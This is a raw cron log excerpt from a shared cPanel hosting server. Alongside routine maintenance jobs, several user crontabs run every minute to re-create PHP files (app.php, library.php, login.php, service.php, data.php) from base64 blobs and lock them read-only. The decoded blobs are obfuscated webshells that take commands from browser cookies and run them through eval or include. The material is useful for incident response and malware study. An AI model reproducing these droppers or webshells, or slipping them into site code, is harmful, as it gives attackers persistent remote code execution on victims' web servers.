yAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:52:01 medusa CROND[7316]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:52:01 medusa CROND[7318]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:52:01 medusa CROND[7323]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:52:01 medusa CROND[7325]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:53:01 medusa CROND[23631]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:53:01 medusa CROND[23739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:53:01 medusa CROND[23740]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:53:01 medusa CROND[23741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:53:01 medusa CROND[23743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:53:01 medusa CROND[23744]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:53:01 medusa CROND[23745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:53:01 medusa CROND[23748]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:53:01 medusa CROND[23749]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:53:01 medusa CROND[23753]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:53:01 medusa CROND[23762]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:53:01 medusa CROND[23763]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:54:01 medusa CROND[7977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:54:01 medusa CROND[8053]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:54:01 medusa CROND[8065]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:54:01 medusa CROND[8249]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:54:01 medusa CROND[8252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:54:01 medusa CROND[8254]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:54:01 medusa CROND[8255]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:54:01 medusa CROND[8256]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:54:01 medusa CROND[8257]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:54:01 medusa CROND[8261]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:54:01 medusa CROND[8264]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:54:01 medusa CROND[8263]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:54:01 medusa CROND[8265]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:55:01 medusa CROND[23641]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:55:01 medusa CROND[23650]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:55:01 medusa CROND[23725]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:55:01 medusa CROND[23895]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
